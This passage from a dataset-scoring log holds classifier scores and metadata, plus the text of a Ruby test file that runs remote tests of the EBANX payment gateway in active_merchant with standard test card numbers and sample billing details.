"missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.10800298791345, "noise_severity": 0.04528632842498538, "missing_content_severity": 0.0051266286006673295, "factual_density": 3.650623648555839, "pretraining_utility": 0.23645408537551849, "math_density": 0.0018626149557251395, "code_density": 3.9220788000924824, "reasoning_density": 0.034990919901529055, "education_level": 2.428958853031741, "creative_writing_quality": -0.23315953017667057}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.010419728623066598, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9913758776787934, "secondary": 0.9190571451620023, "tertiary": 0.9230110118827985, "structured_records": 0.5052345270735445, "procedural_steps": 0.00016560397466349415, "worked_solution": 0.00012839405909459572, "contextual_dialogue": 3.998968675424067e-06, "content_quality": 0.5777384724828178, "noise_severity": 0.9622613929791789, "missing_content_severity": 0.9957278094994438, "factual_density": 0.7088530404631994, "pretraining_utility": 0.4644855645975785, "math_density": 0.9984478208702291, "code_density": 0.9350656667437351, "reasoning_density": 0.9708409000820591, "education_level": 0.5088189029453426, "creative_writing_quality": 0.99928561977002, "primary_topic": 0.9672188814591529, "secondary_topic": 0.8497987577968383}, "probability_margin": {"primary": 0.9872985653262291, "secondary": 0.8877799284640832, "tertiary": 0.8932780401702286, "education_level": 0.24146481204646097, "creative_writing_quality": 0.9991141825913764, "primary_topic": 0.9464203445347354, "secondary_topic": 0.7722396225920762}, "raw_probabilities": {"primary": {"Academic Writing": 3.7018059263514937e-05, "Content Listing": 0.0011871377490146919, "Creative Writing": 1.8567061713555737e-05, "Customer Support Page": 1.6731077648476597e-05, "Q&A Forum": 1.2519698089897923e-05, "Discussion Thread": 1.0759244687633341e-05, "Comment Section": 1.0992130810095048e-05, "Missing Content": 2.8707001572076445e-05, "Knowledge Article": 8.290232683292912e-05, "Legal Notices": 2.7374301643995415e-05, "News Article": 6.705032002198558e-06, "Organizational Announcement": 1.892580846362853e-05, "Nonfiction Writing": 1.3999524101672828e-05, "Organizational About Page": 1.7895463874436324e-05, "Personal About Page": 1.4728965989073064e-05, "Personal Blog": 9.29578325936557e-06, "Product Page": 1.1083790824728857e-05, "Spam / Ads": 1.6958239731608977e-05, "Structured Data": 0.004436650782614672, "Technical Writing": 0.9917352161088437, "Transcript / Interview": 1.6655243627911958e-05, "Tutorial / How-To Guide": 0.00011819316798693815, "User Reviews": 7.265020516991158e-06, "Other / Unknown": 0.0021437184168859014}, "secondary": {"Academic Writing": 0.0003124520690020296, "Content Listing": 0.025170984527629607, "Creative Writing": 0.0002873403643703928, "Customer Support Page": 0.0002446173941322698, "Q&A Forum": 0.0001346247935219805, "Discussion Thread": 0.00010762765066205965, "Comment Section": 0.0002548443034948214, "Missing Content": 0.00047248780899337875, "Knowledge Article": 0.0005009434206932078, "Legal Notices": 0.00030647971518387113, "News Article": 0.0001669316984737582, "Organizational Announcement": 0.00022728900479710332, "Nonfiction Writing": 0.00015055357113729912, "Organizational About Page": 0.00020438782201606475, "Personal About Page": 0.00016526569771536535, "Personal Blog": 0.00015683023154459155, "Product Page": 0.00012774799592771936, "Spam / Ads": 0.0007850827761742997, "Structured Data": 0.03464983564950246, "Technical Writing": 0.012387365364343357, "Transcript / Interview": 0.00016994141045229312, "Tutorial / How-To Guide": 0.0005117012843265904, "User Reviews": 7.490133231987903e-05, "NONE": 0.9224297641135856}, "tertiary": {"Academic Writing": 0.0002431471123052012, "Content Listing": 0.03294084621745333, "Creative Writing": 0.000304519967675013, "Customer Support Page": 0.00030686971465417685, "Q&A Forum": 0.00011398912733470902, "Discussion Thread": 9.445066125557552e-05, "Comment Section": 0.0003129215805979925, "Missing Content": 0.000490210884264573, "Knowledge Article": 0.0006688277508405799, "Legal Notices": 0.0004972444028731263, "News Article": 0.00017540608634260046, "Organizational Announcement": 0.00028271483948761857, "Nonfiction Writing": 0.0001656153266235325, "Organizational About Page": 0.000294209848118999, "Personal About Page": 0.0001587045456001913, "Personal Blog": 0.000138218977142629, "Product Page": 0.00016958619985995264, "Spam / Ads": 0.0025640939971698275, "Structured Data": 0.024230107026435865, "Technical Writing": 0.008684101029087314, "Transcript / Interview": 0.00015963901163298794, "Tutorial / How-To Guide": 0.0007162354497791968, "User Reviews": 6.945385578320481e-05, "NONE": 0.9262188863876819}, "structured_records": {"false": 0.49476547292645545, "true": 0.5052345270735445}, "procedural_steps": {"false": 0.9998343960253365, "true": 0.00016560397466349415}, "worked_solution": {"false": 0.9998716059409054, "true": 0.00012839405909459572}, "contextual_dialogue": {"false": 0.9999960010313246, "true": 3.998968675424067e-06}, "content_quality": {"-2": 0.004189252659753723, "-1": 0.012646720338407665, "0": 0.16149422389750773, "1": 0.5143113926372965, "2": 0.3073584104670343}, "noise_severity": {"0": 0.9600803323193506, "1": 0.036394363927119144, "2": 0.002250451115380804, "3": 0.0007083482854932014, "4": 0.0005665043526562559}, "missing_content_severity": {"0": 0.9965262457157249, "1": 0.0023600441066869305, "2": 0.0006825104107047647, "3": 0.00032323539496312373, "4": 0.00010796437192037457}, "factual_density": {"0": 0.0025803052929244718, "1": 0.004567009925361669, "2": 0.04072420650332303, "3": 0.2439056874897318, "4": 0.708222790788659}, "pretraining_utility": {"-2": 0.01532425187438408, "-1": 0.17243311480492543, "0": 0.42919479995670895, "1": 0.32655996279875094, "2": 0.056487870565230566}, "math_density": {"0": 0.9987262512414536, "1": 0.0010014906783718605, "2": 8.898671392594753e-05, "3": 4.993461549311197e-05, "4": 0.00013333675075551202}, "code_density": {"0": 0.00017612812095178944, "1": 0.000321261639726978, "2": 0.00717926632625633, "3": 0.06189436985201713, "4": 0.9304289740610479}, "reasoning_density": {"0": 0.9739652559422567, "1": 0.01813034658413298, "2": 0.0071021873026034165, "3": 0.0005526419718382757, "4": 0.00024956819916860336}, "education_level": {"none": 0.0013590294397859844, "0": 0.0015199070669809649, "1": 0.010747994071198105, "2": 0.5906824191211189, "3": 0.3492176070746579, "4": 0.046473043226258164}, "creative_writing_quality": {"not_applicable": 0.9994046831416833, "-2": 7.15647124702533e-05, "-1": 0.0001281366563878848, "0": 0.00029050055030683397, "1": 7.776759596688565e-05, "2": 2.7347343185042813e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.209427344302463e-05, "Art & Design": 9.884913454859511e-05, "Law & Crime": 5.43068887781407e-05, "Education & Careers": 6.311564969415051e-05, "Entertainment & Media": 0.00025334160209858955, "Fashion & Beauty": 5.649463051579768e-05, "Business, Economics & Finance": 0.00040048927687190455, "Food & Dining": 5.0573987436403983e-05, "Games & Gaming": 0.022059349175988504, "Electronics & Hardware": 8.879321580444639e-05, "Health, Healthcare & Wellness": 3.33591179823577e-05, "History & Geography": 6.070887117668794e-05, "Home, Pets & Hobbies": 7.58824725192154e-05, "Industry & Production": 0.00012911823140723068, "Language, Literature & Philosophy": 5.329816202489508e-05, "Politics & Government": 3.5625246467566197e-05, "Religion & Spirituality": 4.669106565196046e-05, "Science, Mathematics & Engineering": 0.00015552901843652158, "Relationships & Community": 6.206091322592817e-05, "Software Usage & Applications": 0.00679242852790571, "Programming & Software Engineering": 0.968479693710724, "Sports & Fitness": 8.495338340722068e-05, "Vehicles & Transportation": 2.759649324779447e-05, "Travel & Tourism": 7.509582238636643e-05, "Other / Uncovered Subject": 0.0004082268169339768, "Unknown / Insufficient Content": 0.00029232431132302194}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0009305817328820407, "Art & Design": 0.0009459441640983315, "Law & Crime": 0.0008716424179472335, "Education & Careers": 0.00038115042545889226, "Entertainment & Media": 0.001760836612262609, "Fashion & Beauty": 0.0003089719028025701, "Business, Economics & Finance": 0.003477487517611298, "Food & Dining": 0.00025997729078252425, "Games & Gaming": 0.08333610605872985, "Electronics & Hardware": 0.00046879754676915525, "Health, Healthcare & Wellness": 0.00026989542901786434, "History & Geography": 0.00027189021956319407, "Home, Pets & Hobbies": 0.00040177347523774983, "Industry & Production": 0.00036677869510124604, "Language, Literature & Philosophy": 0.00024503619102883735, "Politics & Government": 0.00027125155007876186, "Religion & Spirituality": 0.0002880565202005086, "Science, Mathematics & Engineering": 0.00047940380119514505, "Relationships & Community": 0.0002892468278843381, "Software Usage & Applications": 0.02164869706963367, "Programming & Software Engineering": 0.025731913288300108, "Sports & Fitness": 0.0002837068011880312, "Vehicles & Transportation": 0.0001106265672755192, "Travel & Tourism": 0.0003503703967837379, "Other / Uncovered Subject": 0.0006741288473606544, "NONE": 0.8555757286508061}}, "probabilities": {"primary": {"Academic Writing": 3.701805926351494e-05, "Content Listing": 0.001187137749014692, "Creative Writing": 1.856706171355574e-05, "Customer Support Page": 1.67310776484766e-05, "Q&A Forum": 1.2519698089897927e-05, "Discussion Thread": 1.0759244687633343e-05, "Comment Section": 1.099213081009505e-05, "Missing Content": 2.870700157207645e-05, "Knowledge Article": 8.290232683292913e-05, "Legal Notices": 2.7374301643995422e-05, "News Article": 6.70503200219856e-06, "Organizational Announcement": 1.8925808463628535e-05, "Nonfiction Writing": 1.3999524101672832e-05, "Organizational About Page": 1.7895463874436327e-05, "Personal About Page": 1.4728965989073068e-05, "Personal Blog": 9.295783259365571e-06, "Product Page": 1.1083790824728859e-05, "Spam / Ads": 1.695823973160898e-05, "Structured Data": 0.004436650782614673, "Technical Writing": 0.991735216108844, "Transcript / Interview": 1.665524362791196e-05, "Tutorial / How-To Guide": 0.00011819316798693817, "User Reviews": 7.26502051699116e-06, "Other / Unknown": 0.002143718416885902}, "secondary": {"Academic Writing": 0.0003124520690020296, "Content Listing": 0.025170984527629607, "Creative Writing": 0.0002873403643703928, "Customer Support Page": 0.0002446173941322698, "Q&A Forum": 0.0001346247935219805, "Discussion Thread": 0.00010762765066205965, "Comment Section": 0.0002548443034948214, "Missing Content": 0.00047248780899337875, "Knowledge Article": 0.0005009434206932078, "Legal Notices": 0.00030647971518387113, "News Article": 0.0001669316984737582, "Organizational Announcement": 0.00022728900479710332, "Nonfiction Writing": 0.00015055357113729912, "Organizational About Page": 0.00020438782201606475, "Personal About Page": 0.00016526569771536535, "Personal Blog": 0.00015683023154459155, "Product Page": 0.00012774799592771936, "Spam / Ads": 0.0007850827761742997, "Structured Data": 0.03464983564950246, "Technical Writing": 0.012387365364343357, "Transcript / Interview": 0.00016994141045229312, "Tutorial / How-To Guide": 0.0005117012843265904, "User Reviews": 7.490133231987903e-05, "NONE": 0.9224297641135856}, "tertiary": {"Academic Writing": 0.0002431471123052012, "Content Listing": 0.03294084621745333, "Creative Writing": 0.000304519967675013, "Customer Support Page": 0.00030686971465417685, "Q&A Forum": 0.00011398912733470902, "Discussion Thread": 9.445066125557552e-05, "Comment Section": 0.0003129215805979925, "Missing Content": 0.000490210884264573, "Knowledge Article": 0.0006688277508405799, "Legal Notices": 0.0004972444028731263, "News Article": 0.00017540608634260046, "Organizational Announcement": 0.00028271483948761857, "Nonfiction Writing": 0.0001656153266235325, "Organizational About Page": 0.000294209848118999, "Personal About Page": 0.0001587045456001913, "Personal Blog": 0.000138218977142629, "Product Page": 0.00016958619985995264, "Spam / Ads": 0.0025640939971698275, "Structured Data": 0.024230107026435865, "Technical Writing": 0.008684101029087314, "Transcript / Interview": 0.00015963901163298794, "Tutorial / How-To Guide": 0.0007162354497791968, "User Reviews": 6.945385578320481e-05, "NONE": 0.9262188863876819}, "structured_records": {"false": 0.49476547292645545, "true": 0.5052345270735445}, "procedural_steps": {"false": 0.9998343960253365, "true": 0.00016560397466349415}, "worked_solution": {"false": 0.9998716059409054, "true": 0.00012839405909459572}, "contextual_dialogue": {"false": 0.9999960010313246, "true": 3.998968675424067e-06}, "content_quality": {"-2": 0.004189252659753723, "-1": 0.012646720338407665, "0": 0.16149422389750773, "1": 0.5143113926372965, "2": 0.3073584104670343}, "noise_severity": {"0": 0.9600803323193506, "1": 0.036394363927119144, "2": 0.002250451115380804, "3": 0.0007083482854932014, "4": 0.0005665043526562559}, "missing_content_severity": {"0": 0.9965262457157249, "1": 0.0023600441066869305, "2": 0.0006825104107047647, "3": 0.00032323539496312373, "4": 0.00010796437192037457}, "factual_density": {"0": 0.0025803052929244718, "1": 0.004567009925361669, "2": 0.04072420650332303, "3": 0.2439056874897318, "4": 0.708222790788659}, "pretraining_utility": {"-2": 0.01532425187438408, "-1": 0.17243311480492543, "0": 0.42919479995670895, "1": 0.32655996279875094, "2": 0.056487870565230566}, "math_density": {"0": 0.9987262512414536, "1": 0.0010014906783718605, "2": 8.898671392594753e-05, "3": 4.993461549311197e-05, "4": 0.00013333675075551202}, "code_density": {"0": 0.00017612812095178944, "1": 0.000321261639726978, "2": 0.00717926632625633, "3": 0.06189436985201713, "4": 0.9304289740610479}, "reasoning_density": {"0": 0.9739652559422567, "1": 0.01813034658413298, "2": 0.0071021873026034165, "3": 0.0005526419718382757, "4": 0.00024956819916860336}, "education_level": {"none": 0.0013590294397859844, "0": 0.0015199070669809649, "1": 0.010747994071198105, "2": 0.5906824191211189, "3": 0.3492176070746579, "4": 0.046473043226258164}, "creative_writing_quality": {"not_applicable": 0.9994046831416831, "-2": 7.156471247025328e-05, "-1": 0.00012813665638788477, "0": 0.0002905005503068339, "1": 7.776759596688564e-05, "2": 2.7347343185042807e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.209427344302463e-05, "Art & Design": 9.884913454859511e-05, "Law & Crime": 5.43068887781407e-05, "Education & Careers": 6.311564969415051e-05, "Entertainment & Media": 0.00025334160209858955, "Fashion & Beauty": 5.649463051579768e-05, "Business, Economics & Finance": 0.00040048927687190455, "Food & Dining": 5.0573987436403983e-05, "Games & Gaming": 0.022059349175988504, "Electronics & Hardware": 8.879321580444639e-05, "Health, Healthcare & Wellness": 3.33591179823577e-05, "History & Geography": 6.070887117668794e-05, "Home, Pets & Hobbies": 7.58824725192154e-05, "Industry & Production": 0.00012911823140723068, "Language, Literature & Philosophy": 5.329816202489508e-05, "Politics & Government": 3.5625246467566197e-05, "Religion & Spirituality": 4.669106565196046e-05, "Science, Mathematics & Engineering": 0.00015552901843652158, "Relationships & Community": 6.206091322592817e-05, "Software Usage & Applications": 0.00679242852790571, "Programming & Software Engineering": 0.968479693710724, "Sports & Fitness": 8.495338340722068e-05, "Vehicles & Transportation": 2.759649324779447e-05, "Travel & Tourism": 7.509582238636643e-05, "Other / Uncovered Subject": 0.0004082268169339768, "Unknown / Insufficient Content": 0.00029232431132302194}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0009305817328820407, "Art & Design": 0.0009459441640983315, "Law & Crime": 0.0008716424179472335, "Education & Careers": 0.00038115042545889226, "Entertainment & Media": 0.001760836612262609, "Fashion & Beauty": 0.0003089719028025701, "Business, Economics & Finance": 0.003477487517611298, "Food & Dining": 0.00025997729078252425, "Games & Gaming": 0.08333610605872985, "Electronics & Hardware": 0.00046879754676915525, "Health, Healthcare & Wellness": 0.00026989542901786434, "History & Geography": 0.00027189021956319407, "Home, Pets & Hobbies": 0.00040177347523774983, "Industry & Production": 0.00036677869510124604, "Language, Literature & Philosophy": 0.00024503619102883735, "Politics & Government": 0.00027125155007876186, "Religion & Spirituality": 0.0002880565202005086, "Science, Mathematics & Engineering": 0.00047940380119514505, "Relationships & Community": 0.0002892468278843381, "Software Usage & Applications": 0.02164869706963367, "Programming & Software Engineering": 0.025731913288300108, "Sports & Fitness": 0.0002837068011880312, "Vehicles & Transportation": 0.0001106265672755192, "Travel & Tourism": 0.0003503703967837379, "Other / Uncovered Subject": 0.0006741288473606544, "NONE": 0.8555757286508061}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9682, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9682, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:02.938145+00:00", "scoring_key_slot": "primary", "dataset_uid": "cf9c6317-03f7-4a8b-a419-d539adb42d68", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "87ceea976612bd5d0176032e68120548d0884eeef824187a4ae764f97bbc685f", "source_metadata": {"uuid": "cf9c6317-03f7-4a8b-a419-d539adb42d68", "repo_name": "minefold/minefold", "relative_path": "config/routes.rb", "category": "CONFIG", "algo_rel_score": 0.9562057852745056, "quality_score": 6.677183151245117, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 2829, "repo_created_at": "2012-11-15T19:59:47.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 1, "issues": 18, "pull_requests": 0}, "file_meta": {"content_id": "a3b8e293cf7052ca932410b0eb636b388b85012e", "size_bytes": 4054, "file_timestamp": 1382207759, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "856104c96544af62ca59efd49849db2586570adf"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 2829, "repo_created_at": "2012-11-15T19:59:47.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 1, "issues": 18, "pull_requests": 0}, "file_meta": {"content_id": "a3b8e293cf7052ca932410b0eb636b388b85012e", "size_bytes": 4054, "file_timestamp": 1382207759, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "856104c96544af62ca59efd49849db2586570adf", "url": "https://github.com/minefold/minefold/blob/856104c96544af62ca59efd49849db2586570adf/config/routes.rb"}, "gpt4o_tokens": 1152, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.10800298791345, "noise_severity": 0.04528632842498538, "missing_content_severity": 0.0051266286006673295, "factual_density": 3.650623648555839, "pretraining_utility": 0.23645408537551849, "math_density": 0.0018626149557251395, "code_density": 3.9220788000924824, "reasoning_density": 0.034990919901529055, "education_level": 2.428958853031741, "creative_writing_quality": -0.23315953017667057}, "score_applicability": {"education_level": 0.998640970560214, "creative_writing_quality": 0.0005953168583169004}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/ali-hassan/active_merchant/blob/05afdb9818789b90d7e5bf2033d72d78e02e790a/test/remote/gateways/remote_ebanx_test.rb", "id": "ruby-0-281e0a06abfa52e7c1abf301c1262497", "text": "require 'test_helper'\n\nclass RemoteEbanxTest < Test::Unit::TestCase\n def setup\n @gateway = EbanxGateway.new(fixtures(:ebanx))\n\n @amount = 100\n @credit_card = credit_card('4111111111111111')\n @declined_card = credit_card('5102026827345142')\n @options = {\n billing_address: address({\n address1: '1040 Rua E',\n city: 'Maracanaú',\n state: 'CE',\n zip: '61919-230',\n country: 'BR',\n phone_number: '8522847035'\n }),\n order_id: generate_unique_id,\n document: '853.513.468-93',\n device_id: '34c376b2767',\n metadata: {\n metadata_1: 'test',\n metadata_2: 'test2'\n }\n }\n end\n\n def test_successful_purchase\n response = @gateway.purchase(@amount, @credit_card, @options)\n assert_success response\n assert_equal 'Accepted', response.message\n end\n\n def test_successful_purchase_with_more_options\n options = @options.merge({\n order_id: generate_unique_id,\n ip: '127.0.0.1',\n email: '',\n birth_date: '10/11/1980',\n person_type: 'personal'\n })\n\n response = @gateway.purchase(@amount, @credit_card, options)\n assert_success response\n assert_equal 'Accepted', response.message\n end\n\n def test_successful_purchase_as_brazil_business_with_responsible_fields\n options = @options.update(document: '32593371000110',\n person_type: 'business',\n responsible_name: '',\n responsible_document: '32593371000111',\n responsible_birth_date: '1/11/1975')\n\n response = @gateway.purchase(@amount, @credit_card, options)\n assert_success response\n assert_equal 'Accepted', response.message\n end\n\n def test_successful_purchase_as_colombian\n options = @options.merge({\n order_id: generate_unique_id,\n ip: '127.0.0.1',\n email: '',\n birth_date: '10/11/1980',\n billing_address: address({\n address1: '1040 Rua E',\n city: 'Medellín',\n state: 'AN',\n zip: '29269',\n country: 'CO',\n phone_number: '8522847035'\n })\n })\n\n response = @gateway.purchase(500, @credit_card, options)\n assert_success response\n assert_equal 'Accepted', response.message\n end\n\n def test_failed_purchase\n response = @gateway.purchase(@amount, @declined_card, @options)\n assert_failure response\n assert_equal 'Invalid card or card type', response.message\n assert_equal 'NOK', response.error_code\n end\n\n def test_successful_authorize_and_capture\n auth = @gateway.authorize(@amount, @credit_card, @options)\n assert_success auth\n assert_equal 'Accepted', auth.message\n\n assert capture = @gateway.capture(@amount, auth.authorization, @options)\n assert_success capture\n assert_equal 'Accepted', capture.message\n end\n\n def test_failed_authorize\n response = @gateway.authorize(@amount, @declined_card, @options)\n assert_failure response\n assert_equal 'Invalid card or card type', response.message\n assert_equal 'NOK', response.error_code\n end\n\n def test_successful_partial_capture_when_include_capture_amount_is_not_passed\n auth = @gateway.authorize(@amount, @credit_card, @options)\n assert_success auth\n\n assert capture = @gateway.capture(@amount - 1, auth.authorization)\n assert_success capture\n end\n\n # Partial capture is only available in Brazil and the EBANX Integration Team must be contacted to enable\n def test_failed_partial_capture_when_include_capture_amount_is_passed\n auth = @gateway.authorize(@amount, @credit_card, @options)\n assert_success auth\n\n assert capture = @gateway.capture(@amount - 1, auth.authorization, @options.merge(include_capture_amount: true))\n assert_failure capture\n assert_equal 'Partial capture not available', capture.message\n end\n\n def test_failed_capture\n response = @gateway.capture(@amount, '')\n assert_failure response\n assert_equal 'Parameters hash or merchant_payment_code not informed', response.message\n end\n\n def test_successful_refund\n purchase = @gateway.purchase(@amount, @credit_card, @options)\n assert_success purchase\n\n refund_options = @options.merge({description: 'full refund'})\n assert refund = @gateway.refund(@amount, purchase.authorization, refund_options)\n assert_success refund\n assert_equal 'Accepted', refund.message\n end\n\n def test_partial_refund\n purchase = @gateway.purchase(@amount, @credit_card, @options)\n assert_success purchase\n\n refund_options = @options.merge(description: 'refund due to returned item')\n assert refund = @gateway.refund(@amount - 1, purchase.authorization, refund_options)\n assert_success refund\n end\n\n def test_failed_refund\n response = @gateway.refund(@amount, '')\n assert_failure response\n assert_match('Parameter hash not informed', response.message)\n end\n\n def test_successful_void\n auth = @gateway.authorize(@amount, @credit_card, @options)\n assert_success auth\n\n assert void = @gateway.void(auth.authorization)\n assert_success void\n assert_equal 'Accepted', void.message\n end\n\n def test_failed_void\n response = @gateway.void('')\n assert_failure response\n assert_equal 'Parameters hash or merchant_payment_code not informed', response.message\n end\n\n def test_successful_store_and_purchase\n store = @gateway.store(@credit_card, @options)\n assert_success store\n\n assert purchase = @gateway.purchase(@amount, store.authorization, @options)\n assert_success purchase\n assert_equal 'Accepted', purchase.message\n end\n\n def test_successful_store_and_purchase_as_brazil_business\n options = @options.update(document: '32593371000110',\n person_type: 'business',\n responsible_name: '',\n responsible_document: '32593371000111',\n responsible_birth_date: '1/11/1975')\n\n store = @gateway.store(@credit_card, options)\n assert_success store\n\n assert purchase = @gateway.purchase(@amount, store.authorization, options)\n assert_success purchase\n assert_equal 'Accepted', purchase.message\n end\n\n def test_failed_purchase_with_stored_card\n store = @gateway.store(@declined_card, @options)\n assert_success store\n\n assert purchase = @gateway.purchase(@amount, store.authorization, @options)\n assert_failure purchase\n end\n\n def test_successful_verify\n response = @gateway.verify(@credit_card, @options)\n assert_success response\n assert_match %r{Accepted}, response.message\n end\n\n def test_successful_verify_for_chile\n options = @options.merge({\n order_id: generate_unique_id,\n ip: '127.0.0.1',\n email: '',\n birth_date: '10/11/1980',\n billing_address: address({\n address1: '1040 Rua E',\n city: 'Medellín',\n state: 'AN',\n zip: '29269',\n country: 'CL',\n phone_number: '8522847035'\n })\n })\n\n response = @gateway.verify(@credit_card, options)\n assert_success response\n assert_match %r{Accepted}, response.message\n end\n\n def test_failed_verify\n response = @gateway.verify(@declined_card, @options)\n assert_failure response\n assert_match %r{Invalid card or card type}, response.message\n end\n\n def test_invalid_login\n gateway = EbanxGateway.new(integration_key: '')\n\n response = gateway.purchase(@amount, @credit_card, @options)\n assert_failure response\n assert_match %r{Field integration_key is required}, response.message\n end\n\n def test_transcript_scrubbing\n transcript = capture_transcript(@gateway) do\n @gateway.purchase(@amount, @credit_card, @options)\n end\n transcript = @gateway.scrub(transcript)\n\n assert_scrubbed(@credit_card.number, transcript)\n assert_scrubbed(@credit_card.verification_value, transcript)\n assert_scrubbed(@gateway.options[:integration_key], transcript)\n end\n\n def test_successful_purchase_with_long_order_id\n options = @options.update(order_id: SecureRandom.hex(50))\n\n response = @gateway.purchase(@amount, @credit_card, options)\n assert_success response\n assert_equal 'Accepted', response.message\n end\nend\n", "text_preview": "require 'test_helper' class RemoteEbanxTest < Test::Unit::TestCase def setup @gateway = EbanxGateway.new(fixtures(:ebanx)) @amount = 100 @credit_card = credit_card('4111111111111111') @declined_card = credit_card('5102026827345142') @option", "input_sha256": "76ddc30fb14a63935efaacd328b2801e0d2196821328e1567eb71ec901fd9d96", "text_sha256": "281e0a06abfa52e7c1abf301c126249754655262e517c1d42cd09a085e0436ce", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16115, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.3147093423777487, "noise_severity": 0.055043747451271774, "missing_content_severity": 0.0073733443950183475, "factual_density": 3.1806613613172354, "pretraining_utility": 0.3843709633983182, "math_density": 0.19283889399508766, "code_density": 3.954754180258124, "reasoning_density": 0.41123176847963183, "education_level": 2.3951796846861977, "creative_writing_quality": -0.27353667725825886}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.024125957067599013, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9875812023444178, "secondary": 0.9376291161253926, "tertiary": 0.9628040278481045, "structured_records": 0.3268353933991125, "procedural_steps": 0.039975726294938424, "worked_solution": 0.11542954691808166, "contextual_dialogue": 1.2545665322676114e-05, "content_quality": 0.5459352145397967, 